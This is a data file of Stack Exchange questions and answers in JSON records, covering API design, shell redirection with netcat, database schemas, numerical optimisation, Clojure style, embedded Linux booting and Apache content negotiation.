{  "id": "_softwareengineering.284727"  , "question": "So let's say we have three simple resources: Groups, Users, and GroupUsers.Groups - Represent interest groups which can be subscribed by users.{    name: 'Colorado Mountain Biking Group'    ownerId: 1 (Some user)}GroupUsers - Represents the junction table in the many to many Groups - Users relationship. Group membership status and some other attributes are stored here. {    userId: 2,    courseId: 1,    color: '#FFFFFF',    nickname: 'MBG Colorado',    status: 'accepted'}Since our API client will always handle the group from the perspective of the authenticated user, GET /api/groups/1 AUTH(userId=2) should return:  Group (Includes GroupUser for authenticated user)  {      id: 1      name: 'Colorado Mountain Biking Group'      ownerId: 1,      groupUser: {          userId: 2,          courseId: 1,          color: '#FFFFFF',          nickname: 'MBG Colorado',          status: 'accepted'      }  }Someone suggested to me that our API Clients should not know or care about the junction table, all they should care about is the group, so I should instead respond with a merged resource like so:  group (In reality group merged with groupUsers for the authenticated user.) {      id: 1      name: 'Colorado Mountain Biking Group'      ownerId: 1,      userId: 2,      color: '#FFFFFF',      nickname: 'MBG Colorado',      status: 'accepted' }The problem I see with this (besides merging issues like repeated Id's and createdAt/updatedAt timestamps)is that the API clients will then use this same resource to further interact with our API endpoints.If an API client wishes to update the groupUser resource he would:PUT /api/groups/1 {      id: 1      name: 'Colorado Mountain Biking Group'      ownerId: 1,      userId: 2,      color: '#000000',      nickname: 'Some other value',      status: 'accepted' }So now we would also need to scan request bodies and differentiate between group and groupUser attributes. Is the hassle worth it? Even when API consumers are other in-house developers?"  , "title": "Is hiding complexity from API clients by merging resources a correct practice?"  , "tags": "rest;api"  } 
{  "id": "_unix.38781"  , "question": "In trying to trace a simple HTTP GET request and its response with nc, I'm running into something strange.This, for example, works fine: the in file ends up containing the HTTP GET request and the out file the response.$ mkfifo p$ (nc -l 4000 < p | tee in | nc web-server 80 | tee out p)&[1] 8299$ echo GET /sample | nc localhost 4000This is contents of /sample...$ cat outThis is contents of /sample...$However, if I replace the tee out p above with tee out >p, then the out file turns out to be empty.$ (nc -l 4000 < p | tee in | nc web-server 80 | tee out > p)&[1] 8312$ echo GET /sample | nc localhost 4000$ cat out$ Why should this be so? EDIT: I'm on RHEL 5.3 (Tikanga)."  , "title": "Different redirection styles with netcat and tee giving different results"  , "tags": "netcat;tee"  , "accepted_answer": "The problem is that you're using shell redirects to read from and write to the same file. Check p afterwards, it will be empty as well.  The shell opens it in read mode, truncating the file, while it's setting up the pipeline before it runs the commands.  However, using tee, since it opens the file itself, means that the file isn't truncated until after the contents have been read for the input.  This is a well known and documented behavior and the reason you can't simply use redirects to make inline changes to files."  } 
{  "id": "_softwareengineering.180986"  , "question": "Im trying to conceive the business logic of this website that has many activities, that the users can build their combo and get discounts depending on their choices and how long they are willing to pay for their plan (1, 3, 6 and 12 month plans).Im having a hard time trying to come up with a solution, while keeping the database normalized and with proper relations, without having to resort to JSON-encoded data in the database fields. The system must stay generic enough to fit many businesses types that relies on plans/activities. I need to know how to structure my tables. Scenario: For example, in case of a gym, will have bodybuilding, yoga, boxing, body pump. If the person choose bodybuilding and boxing, they will have a discount. If they add yoga, boxing and bodybuilding will keep the discount but will add the yoga without any discount to the price. If the person decides to pay 12 months upfront, they will get a bigger discount.Bodybuilding + Body PumpBodybuilding..$70 | 28% discountBody Pump.....$70 | Total........$1001 month  - $100 / month3 months - $ 91 / month6 months - $ 75 / monthBodybuilding + Body Pump + YogaBodybuilding..$70 | 28% discountBody pump.....$70 |Yoga..........$90 | No discountTotal........$190   1 month  - $190 / month3 months - $171 / month6 months - $158 / monthIll be using PHP and MYSQL but that doesnt matter much, only the RDBMS part. Edit for clarification: What I really looking for is a database schema for packaging products (or in this case services) together under a single price/offer. Each product must also exist in the system as a standalone product.I still need the ability to report on sales (and profit) by product even if that product was sold as part of a package.I would need the ability to report on package performance."  , "title": "DB schema for packaging products/services together under a single price/offer"  , "tags": "design;php;architecture;database;mysql"  , "accepted_answer": "At a Minimum You need:A Promo Header Table - Holds exactly what you get with thePromotion (Free item, free shipping, $$ off)A Promo-Requirements Tables (I to meany to Promo's, Hold all therequirement if the promo) Each record is one Requirement,Requirements can be must be and item of Brand X or must be SKU1234, or order total must be >50$ (When i did this is had a row typeflag that told me what kid if Requirement it was.)A module that is good a checking if an order meets a promotion'sRequirements.Unfortunately, I can't give you an exact ERD, because the promo conditions vary so much from business to business, so it's up to you make it as complex or simple as you need.For example, do you need Promos by SKU?, By Category, by subcategory?, by brand?, do you need to exclude certain SKUs?, brands? Category's? shipping locations?Lastly make sure you make this thing easy to maintain and adjust, because just when you think you covered all your bases the business team will come up with some new crazier promo the no customer on earth will understand how to use.EDIT:*Now that I better understand your question here what you need:*Package Header Table and a Line Items Table, The Package Name and Description is stored on the header, The Lines hold the Items (including the Item prices when sold as part of that package). You need a way to adding a Package to order. When that is done add then each item in the package as a regular line item but have a extra fields to specifies that the item is part of a Package and the PackageID. It is then up to you to decide how you want to code the order Print out, Either just print a package total, so the customer doesn't know the line item prices, or print it normally but add with the package description."  } 
{  "id": "_hardwarecs.4243"  , "question": "I want a wearable camera for a life logging project and I find the existing options to be absurdly expensive. So I want to build one. I found a solution using Raspberry Pi Camera. However I still find the Raspberry Pi Camera to be pretty expensive for my purpose. I feel I should be able to build the camera in about 20 USD using something like these:Processor for 9 USD or Processor for 5 USDMemory for 6 USDCamera for 5 USDMy concern is I don't know if one can mount a mobile front camera directly on a processor. Is there a more suitable camera for the project?I want my device to be minimalistic and simple. These are the features I desire:Should take pictures every 1 minutes (or any other interval).The picture shouldn't be too blurry because the wearer is moving or walking.Should be able to transfer the pictures to a PC via USB cable (or anyhow).I would even be happier to know if I wouldn't need such an elaborate processor.Any advice on how to proceed?"  , "title": "Need hardware suggestion for simple wearable camera"  , "tags": "camera"  } 
{  "id": "_webmaster.56498"  , "question": "I recently updated a wordpress blog to my own domain and have been moving everything over and coming to grips with making the site look half decent.When I run the domain through Google's Webmaster structured data, I get multiple errors. in fact, an error for every single item!!! Every error seems to have the same problem- missing Author and missing Updated. And mentions something to do with Hentry? I googled that to try and figure it out,but it pretty much made my head explode!!FYI I know nothing about CSS etc.And I know I'm a bit over my head with it all, but I think it's too late to turn back to the regular wordpress account now. ugh.So, are these errors important? and... how do I fix them?!"  , "title": "Google Webmasters structured data errors"  , "tags": "google;google search console"  } 
{  "id": "_cs.41070"  , "question": "In relation to the thread Proving that the conversion from CNF to DNF is NP-Hard (and a related Math thread):How about the other direction, from DNF to CNF?  Is it easy or hard?On Page 2 of this paper, they seem to hint that both directions are equally hard when they say We are interested in the maximal blow-up of size when switching from the CNF representation to the DNF representation (or vice versa).But DNF-SAT is in P and CNF-SAT is NP-complete.  So given a DNF expression $\\phi_1$, there should be an equisatisfiable CNF expression $\\phi_2$ whose length is polynomial in the length of $\\phi_1$. And the $\\phi_1 \\to \\phi_2$ conversion can be done in poly time.  Is this correct?Edit: Changed equivalent to equisatisfiable (that is, additional variables are allowed in $\\phi_2$)."  , "title": "DNF to CNF conversion: Easy or Hard"  , "tags": "complexity theory;logic;satisfiability;normal forms"  , "accepted_answer": "If you are willing to introduce additional variables, you can convert from DNF to CNF form in polynomial time by using the Tseitin transform.  The resulting CNF formula will be equisatisfiable with the original DNF formula: the CNF formula will be satisfiable if and only if the original DNF formula was satisfiable.  See also https://en.wikipedia.org/wiki/Conjunctive_normal_form#Conversion_into_CNF.If you don't want to allow introduction of additional variables, converting from DNF to CNF form is co-NP-hard.  In particular, testing whether a DNF formula is a tautology is co-NP-hard.  However, testing whether a CNF formula is a tautology can be done in polynomial time (you just check separately whether every clause is a tautology, which is easy as each clause is a disjunction of literals).  Therefore, if you could convert from DNF form to CNF form in polynomial time, without introducing new variables, then you would obtain a polynomial-time algorithm for testing whether a DNF formula is a tautology -- something which seems unlikely, given that we expect P is not equal to co-NP.  Or, to put it another way, converting from DNF to CNF form without introducing additional variables is co-NP-hard.This is the difference between equivalence vs equisatisfiability.  Equivalence requires the two formulas to have the same set of solutions (and thus does not allow introducing additional variables).  Equisatisfiability only requires that either both formulas are satisfiable or both are unsatisfiable (and thus does allow introducing additional variables)."  } 
{  "id": "_cs.28894"  , "question": "True or False?Say some data structure can perform $x$ operations in amortized $O(x)$ time.Then for a big enough $y$ it can perform $xy$ operations in worst case $O(xy)$ time.My attempt:$x$ operations in $O(x)$ amortized means $O(1)$ expected time for $1$ operation.Then for $xy$ operations it'd be $O(xy)$ amortized (and I think $O(x^2y)$ worst case). Therefore, the statement is incorrect.But the answers sheet says i'm wrong. Why?"  , "title": "If x operations cost O(x) amortized then how much xy operations cost?"  , "tags": "algorithm analysis;amortized analysis"  , "accepted_answer": "Amortized is not just probabilistic, it means that for some big enough $y$,  $xy$ operations can't take a long time and will guaranteed to be $O(x)$ in average in worst case (and therefore $O(xy)$ for all $xy$ operations), even through some of operations may take even $O(xy)$ time itself.  https://stackoverflow.com/questions/200384/constant-amortized-time"  } 
{  "id": "_scicomp.14401"  , "question": "I am having an issue with the implementation of NLOPT in Python. My objective is to minimize a somewhat complicated Maximum Likelihood function.My function is called mle and there are 6 parameters to estimate. Finding the gradient to this MLE is not trivial, so I decided to turn to a numerical gradient function:def numgrad(f, x, step=1e-6):    numgrad(f: function, x: num array, step: num) -> num array    Numerically estimates the gradient of a function f which takes an array as    its argument.        ary = len(x)    curr = x * sp.ones((ary, ary))    next = curr + sp.identity(ary) * step    delta = sp.apply_along_axis(f, 1, next) - sp.apply_along_axis(f, 1, curr)    return delta / stepThen my implementation of NLOPT goes like this:def myfunc(x, grad):    if grad.size > 0:        grad = numgrad(mle, [x[0], x[1], x[2], x[3], x[4], x[5]], step=1e-14)    return mle([x[0], x[1], x[2], x[3], x[4], x[5]])opt = nlopt.opt(nlopt.LD_SLSQP, 6)opt.set_lower_bounds([mmin, smin, ming, bmin, vmin, pmin]) #min bound for each of the param.opt.set_upper_bounds([mmax, smax, maxg, bmax, vmax, pmax])opt.set_min_objective(myfunc)opt.set_xtol_rel(1e-15)opt.maxeval=10000x = opt.optimize([x1, x2, x3, x4, x5, x6])minf = opt.last_optimum_value()print optimum at , x[0], x[1], x[2], x[3], x[4], x[5]print minimum value = , minfprint result code = , opt.last_optimize_result()Now the issue is this .... the minimization process goes wayyy tooo fast. In matlab, it takes approx 1 hour and here in Python 12 seconds ... I don't get the same results in Matlab using fmincon. My feeling is that the code does not recognize the opt.set_xtol_rel(1e-15) and opt.maxeval=10000 statements because even if I increase the number ... no change in the time process... Or the problem is elsewhere... what am I doing wrong?"  , "title": "Maximum function evaluation with NLOPT in Python"  , "tags": "optimization;python"  , "accepted_answer": "You should essentially never estimate the gradient numerically.You say the gradient is difficult to estimate. In general, if it is at all possible to get the gradient exactly you should do so, and use an appropriate algorithm (NLopt has several, the one you're using should be fine).However, if you cannot get the gradient exactly, NLopt features several derivative free algorithm, which you could use instead and expect to get better results. I think this is probably the easiest solution to your problem, and would give you better results. The speed difference can easily be real however. Differences in optimization algorithm and the fact that python is generally faster than Matlab could explain the difference easily.TLDR: Change from nlopt.LD_SLSQP to nlopt.LN_BOBYQA .Hope this helps."  } 
{  "id": "_unix.372463"  , "question": "I here for seeking help as I have a problem with Linux Mint cinnamon 18.1.I was able to open any folder by right click and Open as Root but it's no longer working now, the Open as Root is there in right click option but nothing happens after clicked that.How can I fix this?"  , "title": "linux mint cinnamon 18.1 - open as root not working - how to fix?"  , "tags": "linux;linux mint"  } 
{  "id": "_codereview.49220"  , "question": "I am trying to learn Clojure for some time. In my experience, it has been rather too easy to produce write-only code.Here is a solution to a simple problem with very little essential complexity. Input and output formats are extremely simple, too. Which means all complexity in it must be accidental. How to improve its legibility, intelligibility?Is the decomposition of the problem into functions all right?Also other specific problems:How to input/output numbers? Is there any benefit to use read-string instead of Double/parseDouble? How to format floating point numbers to fixed precision without messing with the default locale?How to avoid the explicit loop/recur, which is currently a translation of a while loop?Are there definitions that should/shouldn't have bee private/dynamic?ProblemYou start with 0 cookies. You gain cookies at a rate  of 2 cookies per second [...]. Any time you  have at least C cookies, you can buy a cookie farm. Every time you buy  a cookie farm, it costs you C cookies and gives you an extra F cookies  per second.Once you have X cookies that you haven't spent on farms, you win!  Figure out how long it will take you to win if you use the best  possible strategy.(ns cookie-clicker  (:use [clojure.string :only [split]])  (:require [clojure.java.io :as io]            [clojure.test :refer :all]));;See http://code.google.com/codejam/contest/2974486/dashboard#s=p1(defn parse-double [s] (java.lang.Double/parseDouble s))(defn parse-row [line]   (map parse-double (split line #\\s+)))(defn parse-test-cases [rdr]  (->> rdr    line-seq    rest    (map parse-row)))(def initial-rate 2.0)(defn min-time [c f x]  (loop [n 0 ; no of factories used         tc 0 ; time cost of factories built         r initial-rate ; cookie production rate         t (/ x r)] ; total time    (let [n2 (inc n)          tc2 (+ tc (/ c r))          r2 (+ r f)          t2 (+ tc2 (/ x r2))]      (if (> t2 t)         t        (recur n2 tc2 r2 t2)))))(java.util.Locale/setDefault (java.util.Locale/US))(defn ans [n t]  (str Case # n :  (format %.7f t))) (defn answers [test-cases]  (map #(ans %1 (apply min-time %2))        (rest (range))       test-cases))(defn spit-answers [in-file]  (with-open [rdr (io/reader in-file)]    (doseq [answer (answers (parse-test-cases rdr))]      (println answer))))(defn solve [in-file out-file]  (with-open [w (io/writer out-file :append false)]    (binding [*out* w]      (spit-answers in-file))))(def ^:dynamic *tolerance* 1e-6)(defn- within-tolerance [expected actual]   (< (java.lang.Math/abs (- expected actual))      *tolerance*))(deftest case-3     (is (within-tolerance           63.9680013          (min-time 30.50000 3.14159 1999.19990))))(defn -main []  (solve resources/cookie_clicker/B-large-practice.in          resources/cookie_clicker/B-large-practice.out))"  , "title": "Cookie Clicker Alpha solution"  , "tags": "clojure"  , "accepted_answer": "I have to admit, the actual solving the problem component of this is a little over my head. But, I thought I'd try to answer your questions and give you some style/structure feedback, for what it's worth :)You can simplify your ns declaration like this:(ns cookie-clicker  (:require [clojure.string :refer (split)]            [clojure.java.io :as io]            [clojure.test :refer :all]))(:require foo :refer (bar) does the same thing as :use foo :only (bar), and is generally considered preferable, especially as an alternative to having both :use and :require in your ns declaration)I think Double/parseDouble is a good approach to parsing doubles in string form. Integer/parseInt is usually my go-to for doing the same with integers in string form. This is just a hypothesis, but Double/parseDouble might be faster and/or more accurate than read-string because it's optimized for doubles.FYI, you can leave out the java.lang. and just call it as Double/parseDouble in your code. In light of that, you might consider getting rid of your parse-double function altogether and just using Double/parseDouble whenever you need it. The only thing is that Java methods aren't first-class in Clojure, so you would need to do things like this if you go that route:(defn parse-row [line]  (map #(Double/parseDouble %) (split line #\\s+)))(Personally, I still like that better, but you might prefer to keep it wrapped in a function parse-double like you have it. It's up to you!)I think needing to mess with the locale might be a locale-specific problem... I tried playing around with (format %.7f ... without changing my locale and it worked as expected. Granted, I'm in the US :)I think the legibility issues you're seeing might be related to having too many functions. You might consider condensing and renaming things and see if you like that better. I would re-structure your program so that you parse the data into the data structure at the top, something like this:(defn parse-test-cases [in-file]  (with-open [rdr (io/reader in-file)]    (let [rows (rest (line-seq rdr))]      (map (fn [row]              (map #(Double/parseDouble %) (split row #\\s+)))           rows))))(I condensed your functions parse-row, parse-test-cases and half of spit-answers into the function above)Then define the functions that do all the work like min-time, and then, at the end:(defn spit-answers [answers out-file]  (with-open [w (io/writer out-file :append false)]    (.write w (clojure.string/join \\n answers)))(def -main []  (let [in  resources/cookie_clicker/B-large-practice.in        out resources/cookie_clicker/B-large-practice.out        test-cases (parse-test-cases in)        answers (map-indexed (fn [i [c f x]]                               (format Case #%d: %.7f (inc i) (min-time c f x)))                             test-cases)]    (spit-answers answers out)))I came up with a few ideas above:In your answers function you use (map ... (rest (range)) (test-cases)) in order to number each case, starting from 1. A simpler way to do this is with map-indexed. I used (inc i) for the case numbers, since the index numbering starts at 0.I condensed (str Case # n :  (format %.7f t))) into a single call to format.I used destructuring over the arguments to the map-indexed function to represent each case as c f x -- that way it's clearer that each test case consists of those three values, and you can represent the calculation as (min-time c f x) instead of (apply min-time test-case).As for your min-time function, I don't think loop/recur is necessarily a bad thing, and I often tend to rely on it in complicated situations where you're doing more involved work on each iteration, checking conditions, etc. I think it's OK to use it here. But if you want to go a more functional route, you could consider writing a step function and creating a lazy sequence of game states using iterate, like so:(note: I'm writing step as a letfn binding so that it can use arbitrary values of c, f and x that you feed into a higher-order function that I'm calling step-seq -- this HOF takes values for c, f and x and generates a lazy sequence of game states or steps.)(defn step-seq [c f x]  (letfn [(step [{:keys [factories time-cost cookie-rate total-time result]}]            (let [new-time-cost (+ time-cost (/ c cookie-rate))                  new-cookie-rate (+ cookie-rate f)                  new-total-time (+ new-time-cost (/ x new-cookie-rate))]              {:factories (inc factories)               :time-cost new-time-cost               :cookie-rate new-cookie-rate               :total-time new-total-time               :result (when (> new-total-time total-time) total-time)}))]    (iterate step {:factories 0, :time-cost 0, :cookie-rate 2.0,                    :total-time (/ x 2.0), :result nil})))Now, finding the solution is as simple as grabbing the :result value from the first step that has one:(defn min-step [c f x]  (some :result (step-seq c f x)))"  } 
{  "id": "_datascience.6570"  , "question": "I have a Healthcare dataset. I have been told to look at non-parametric approach to solve certain questions related to the dataset. I am little bit confused about non-parametric approach. Do they mean density plot based approach (such as looking at the histogram)? I know this is a vague question to ask here. However, I don't have access to anybody else whom I can ask and hence I am asking for some input from others in this forum.Any response/thought would be appreciated.Thanks and regards. "  , "title": "Non-parametric approach to healthcare dataset?"  , "tags": "data mining"  , "accepted_answer": "They are not specifically referring to a plot based approach.  They are referring to a class of methods that must be employed when the data is not normal enough or not well-powered enough to use regular statistics.Parametric and nonparametric are two broad classifications of statistical procedures with loose definitions separating them:Parametric tests usually assume that the data are approximately normally distributed.Nonparametric tests do not rely on a normally distributed data assumption.Using parametric statistics on non-normal data could lead to incorrect results.If you are not sure that your data is normal enough or that your sample size is big enough (n < 30), use nonparametric procedures rather than parametric procedures.Nonparametric procedures generally have less power for the same samplesize than the corresponding parametric procedure if the data truly are normal.Take a look at some examples of parametric and analogous nonparametric tests from Tanya Hoskin's Demystifying Summary:Here are some summary references:Another general table with some different informationNonparametric StatisticsAll of Nonparametric Statistics, by Larry WassermanR tutorialNonparametric Econometrics with Python"  } 
{  "id": "_unix.376183"  , "question": "In the VMware workstation, I have a VM(CentOS 7.2). Before, I only have one NIC for the VM; it used the NAT network model. I configured the IP for the NIC in VM, and it works fine.But I added another, and rebooted the VM.I use the ip a to show the NICs state.(Because I am remote to the host machine, so I can not copy the code form the VMware Workstation, so I only can post snapshot), You see there is two NICs, I added it successfully.But I can not find the configuration file(ifcfg-eno33554984) under the /etc/sysconfig/network-scripts/ directory, it did not generate:EDITYou know if I add three NICs in the beginning, there will generate three ifcfg-* files here."  , "title": "In the VMware I add the second NIC to the VM why the directory network-scripts/ do not generate the ifcfg-eno33554984?"  , "tags": "centos;configuration;network interface;vmware"  } 
{  "id": "_webapps.37864"  , "question": "I have been given a link to a Google docs form where I was supposed to enter some data. The URI looks something like this:  https://docs.google.com/spreadsheet/formResponse?formkey=fooIs there anyway I can see the the responses already submitted by people using the 'foo' value (or may be some other hack like that)? Also, any idea how Google docs generates the keys?"  , "title": "How can we view the whole spreadsheet instead of just the form in Google forms?"  , "tags": "google spreadsheets;google forms"  , "accepted_answer": "If you were given the link but do not own the form, then no - responses are private unless the response spreadsheet is shared with you.If the response spreadsheet was shared with you however, then you can just search for that document title in your Drive list, and it will appear as a normal shared document.No idea how Drive generates document keys, but they are different between the spreadsheet and the actual form, again to make sure that the responses are private unless explicitly shared with others."  } 
{  "id": "_webmaster.60559"  , "question": "I'm considering using i18next for translating text. But then it suddenly struck me; If labels / text is retrieved through javascript, won't that affect SEO?And what about screen readers for visual impaired users?"  , "title": "Will i18next affect SEO? What about screen readers?"  , "tags": "seo;javascript;language"  , "accepted_answer": "To my knowledge Googlebot reads javascript.Use the appropriate tags in every language version as described in https://support.google.com/webmasters/answer/189077?hl=en<link rel=alternate href=http://example.com/de hreflang=de /><link rel=alternate href=http://example.com/bg hreflang=bg /><link rel=alternate href=http://example.com/en hreflang=en />"  } 
{  "id": "_webmaster.58013"  , "question": "I want to add www in front of a subdomain e.g. www.subdomain.domain.com.My blogs are hosted on Blogger and am using GoDaddy for having custom domains.I have HOST @ entries for 'domain' pointing specified by blogger. The following subsdomains are configured by adding CNAME alias as follows:subdomain -> ghs.google.comwww -> ghs.google.com   For domain (including www.domain) I have one blog. For subdomain, I am pointing it to seperate blog using above entries and subdomain.domain.com works fine. I read articles on this issue and tried adding following CNAME entry but no luck:www.subdomain  ->  subdomain.domain.comHow do I make www.subdomain.domain.com work ?"  , "title": "How do I add 'www' before a subdomain, like www.subdomain.domain.com?"  , "tags": "subdomain;domain registration"  } 
{  "id": "_unix.243515"  , "question": "I've downloaded the Raspbian image on this page. I'm trying to compile a kernel that can be used to boot the image within qemu.I downloaded the Linux kernel source from kernel.org and ran:make versatile_defconfigmake menuconfigI then added the following features to the kernel:PCI support (CONFIG_PCI)SCSI Device Support (CONFIG_SCSI)SCSI Disk Support (CONFIG_BLK_DEV_SD)SYM53C8XX Version 2 SCSI Support (CONFIG_SCSI_SYM53C8XX_2)The Extended 3 (ext3) filesystem (CONFIG_EXT3_FS)The Extended 4 (ext4) filesystem (CONFIG_EXT4_FS)I also loop mounted the disk image and:commented out /etc/ld.so.preloadadjusted /etc/fstab to use /dev/sda1 and /dev/sda2I then unmounted the image and attempted to start the machine with:qemu-system-arm \\    -M versatilepb \\    -m 256 \\    -kernel linux-4.3/arch/arm/boot/zImage \\    -hda 2015-09-24-raspbian-jessie.img \\    -serial stdio \\    -append root=/dev/sda2 rootfstype=ext4 rw console=ttyAMA0The kernel was able to mount the filesystem but it immediately ran into some trouble:Kernel panic - not syncing: Attempted to kill init! exitcode=0x00000004CPU: 0 PID: 1 Comm: init Not tainted 4.3.0 #1Hardware name: ARM-Versatile PB[<c001b5c0>] (unwind_backtrace) from [<c0017e18>] (show_stack+0x10/0x14)[<c0017e18>] (show_stack) from [<c0069860>] (panic+0x84/0x1ec)[<c0069860>] (panic) from [<c0025b98>] (do_exit+0x81c/0x850)[<c0025b98>] (do_exit) from [<c0025c5c>] (do_group_exit+0x3c/0xb8)[<c0025c5c>] (do_group_exit) from [<c002dfcc>] (get_signal+0x14c/0x59c)[<c002dfcc>] (get_signal) from [<c001bf28>] (do_signal+0x84/0x3a0)[<c001bf28>] (do_signal) from [<c0017a94>] (do_work_pending+0xb8/0xc8)[<c0017a94>] (do_work_pending) from [<c0014f30>] (slow_work_pending+0xc/0x20)---[ end Kernel panic - not syncing: Attempted to kill init! exitcode=0x00000004At first, I wondered if this wasn't related to SELinux. I tried booting the kernel with:selinux=0 enforcing=0...but it made absolutely no difference.What am I doing wrong? And what does this error mean?UpdatesI have also tried the following, with no luck:I tried compiling with and without CONFIG_VFP enabledI added CONFIG_DEVTMPFS and CONFIG_DEVTMPFS_MOUNTApplying this patch and enabling CPU_V6, CONFIG_MMC_BCM2835, & CONFIG_MMC_BCM2835_DMAUsing the gcc-linaro-arm-linux-gnueabihf-raspbian toolchainCompiling a simple C program with the toolchain and then passing its path to the kernel via init= works - leading me to believe there's a discrepancy between binary formatsfile <sample program>:ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, for GNU/Linux 2.6.26, BuildID[sha1]=e5ec8884499c51b248df60aedddfc9acf72cdbd4, not strippedfile <file from the image>:ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=3e92423821f3325f8cb0ec5d918a7a1c76bbd72c, stripped`diff of ELF headerI compiled this simple C program with the toolchain:<path>/arm-linux-gnueabihf-gcc --static simple.c -o simple...and copied it to /root in the image, changing the init= boot parameter to /root/simple. This gives me the following when booting:Starting bash...Kernel panic - not syncing: Attempted to kill init! exitcode=0x00000004It seems to be choking on the execv() call."  , "title": "Why can't the kernel run init?"  , "tags": "linux kernel;arm;qemu;init"  } 
{  "id": "_softwareengineering.106850"  , "question": "In applications that I write at work, I often need to have an external properties/settings file so that certain parameters can be configurable after the application is deployed with the end-user. The file will usually be text or XML and I will usually be implementing in C++ or Java.In the past, I have created Singleton classes to manage the injection of these properties/settings into my application. The class would be initialised with the path to a file, be hardcoded with the property keys it is looking for in the file, read it in and store all the attributes. Other classes in the application would then perform a call such as propertySingleton::getInstance().getMyParameter().The more I read and learn about software engineering, and design, the more this approach feels clumsy and inherently wrong. I was wondering if anyone had to perform similar tasks, and how they would approach this in a well-thought object-oriented fashion?"  , "title": "Injecting properties/settings into an application"  , "tags": "design;object oriented"  } 
{  "id": "_webmaster.76884"  , "question": "I am configuring a lightweight content negotiation mechanism using Apaches's Mod-Rewrite. The configuration should deliver several different data representations (for instance, HTML, XML, RDF/XML, and RSS, although I actually have to consider a few more in my application) on a base resource URL depending on the Accept header of the request:# serve html on base url if requested via accept headerRewriteCond %{HTTP_ACCEPT} text/html [OR]RewriteCond %{HTTP_ACCEPT} application/xhtml\\+xmlRewriteRule ^resource/(.*)$ view/html/$1.html [NC,R=303,L]# serve xml on base url if requested via accept headerRewriteCond %{HTTP_ACCEPT} application/xmlRewriteRule ^resource/(.*)$ view/xml/$1.xml [NC,R=303,L]# serve rdf on base url if requested via accept headerRewriteCond %{HTTP_ACCEPT} application/rdf\\+xmlRewriteRule ^resource/(.*)$ view/rdf/$1.rdf [NC,R=303,L]# serve rss on base url if requested via accept headerRewriteCond %{HTTP_ACCEPT} application/rss\\+xmlRewriteRule ^resource/(.*)$ view/rss/$1.rss [NC,R=303,L]# serve html as default response (keep at bottom)RewriteRule ^resource/(.*)$ view/html/$1.html [NC,R=303,L]This works pretty fine if the request is sending pure Accept headers, but I run into some trouble when mixed Accept headers are sent. In that case, my configuration does not respect any given q-value in the header, and I end up serving the first matching content type according to the (arbitrary) ordering of my RewriteRules. E.g., I incorrectly serve text/html for the following request:Accept: application/rdf+xml;q=0.5,text/html;q=.3Is there any way how I can make my configuration take the q-values of the Accept header into account? Any help is appreciated."  , "title": "Mod-Rewrite content negotiation for mixed Accept header?"  , "tags": "mod rewrite;apache2;semantic web"  , "accepted_answer": "Use the built-in content negotiation functionality with a type map. You may need to tweak your filenames / URLs or use rewrite rules after applying the type map."  } 
{  "id": "_webmaster.69833"  , "question": "I am using a cloud hosting provider (Heroku) to host my webapp. Since I don't have access to a permanent file system, I am storing my sitemap.xml in Amazon S3.I wanted to know the SEO implications of the following 2 options for submitting the sitemap to search engines (Google & Bing) via their webmaster tools:1) Create on endpoint on my domain: http://mydomain.com/sitemap.xml that performs a 301 redirect to the S3 hosted sitemap.  Provide the url hosted on my domain to the search engines. This is the option I am currently using. It seems to work fine with Google, but I noticed a sitemap error with Bing - I am monitoring this as I am not yet sure what the cause is.2) Apparently, there is a way to do cross domain sitemap submission whereby I get the S3 URL approved by the search engine, then I can directly submit the S3 url as my sitemap.Also I am currently pointing the sitemap entry in robots.txt to the sitemap url hosted on my domain (not to S3).Is one of these methods preferred from an SEO perspective? Like I said, I am using option (1) but I want to be somewhat confident that the crawlers will be OK with the HTTP 301 that I'm using."  , "title": "Can externally hosted sitemaps work with Google and Bing?"  , "tags": "seo;google search console;sitemap;bing webmaster tools"  } 
{  "id": "_unix.9949"  , "question": "I placed the uBoot loader and the kernel into the raw flash image. This does not contain any root file system. (I copied uBoot and kernel image using dd command to a flash image).Now i have to change my kernel as to start my application at a particular address which was located in my flash image.How can I change the kernel to start my application on its own?"  , "title": "Kernel - Starting the application"  , "tags": "linux;boot;embedded"  } 
{  "id": "_unix.92362"  , "question": "If I am doing something likecreating temporary filesome process generating output > temp_filecat  temp_fileprocess substitution:cat <(some process generating output)another way :cat <<<(some process generating output)I have some doubts regarding these:Is there any limit on data output size of process substitution<() >() or variable expansion<<<() Which among these is the fastest or is there a way to do it faster?My ulimit command output is :bash-3.00$ ulimit -acore file size        (blocks, -c) unlimiteddata seg size         (kbytes, -d) unlimitedfile size             (blocks, -f) unlimitedopen files                    (-n) 256pipe size          (512 bytes, -p) 10stack size            (kbytes, -s) 8480cpu time             (seconds, -t) unlimitedmax user processes            (-u) 8053virtual memory        (kbytes, -v) unlimited"  , "title": "Creating temp file vs process substitution vs variable expansion?"  , "tags": "linux;variable;process substitution"  , "accepted_answer": "Bash process substitution in the form of <(cmd) and >(cmd) is implemented with named pipes if the system supports them. The command cmd is run with its input/output connected to a pipe. When you run e.g. cat <(sleep 10; ls) you can find the created pipe under the directory /proc/pid_of_cat/fd. This named pipe is then passed as an argument to the current command (cat).The buffer capacity of a pipe can be estimated with a tricky usage of dd command which sends zero data to the standard input of sleep command (which does nothing). Apparently, the process will sleep some time so the buffer will get full:(dd if=/dev/zero bs=1 | sleep 999) &Give it a second and then send USR1 signal to the dd process:pkill -USR1 ddThis makes the process to print out I/O statistics:65537+0 records in65536+0 records out65536 bytes (66 kB) copied, 8.62622 s, 7.6 kB/sIn my test case, the buffer size is 64kB (65536B).How do you use <<<(cmd) expansion? I'm aware of  it's a variation of here documents which is expanded and passed to the command on its standard input.Hopefully, I shed some light on the question about size. Regarding speed, I'm not so sure but I would assume that both methods can deliver similar throughput."  } 
